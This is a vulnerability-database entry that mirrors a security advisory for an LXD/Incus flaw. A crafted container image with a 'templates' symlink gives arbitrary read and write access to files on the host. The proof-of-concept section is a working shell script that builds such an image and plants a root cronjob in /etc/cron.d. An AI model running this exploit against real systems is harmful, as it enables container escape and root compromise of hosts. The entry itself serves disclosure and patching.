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Fencer Vulns
critical 9.9

GHSA-jpf8-86f3-wp38 json

LXD has arbitrary file read+write on host via templates/ symlink in malicious image

published 2026-11-06 2 d ago modified 2026-11-06 2 d ago

cvss
9.9
version 3.1, GitHub
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479

### Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

### Details

For container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink.

In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.

### PoC

Below, we map the templates directory to `/etc/cron.d` on the host, but it can be mapped anywhere. We then create a cronjob to run `id` as root.

``` #!/bin/sh set -eu

tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs" ln -s /etc/cron.d "${tmpdir}/img/templates" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC templates symlink host afrw __EOF__

cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink incus init afrw-image-templates-symlink afrw-image-templates-symlink

incus config template ls afrw-image-templates-symlink

# read #incus config template show afrw-image-templates-symlink $FILENAME

# write printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32 #incus config template edit afrw-image-templates-symlink poc ```

### Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Patch / fix

CVSS scores

assigned by version score vector
GitHub 3.1 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Affected packages

ecosystem package affected fixed in
go github.com/canonical/lxd
<0.0.0-20260203144152-d1c8ba15d160
0.0.0-20260203144152-d1c8ba15d160

Classification

Weakness
  • CWE-73 External Control of File Name or Path

References

Sources

Fencer Vulns keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.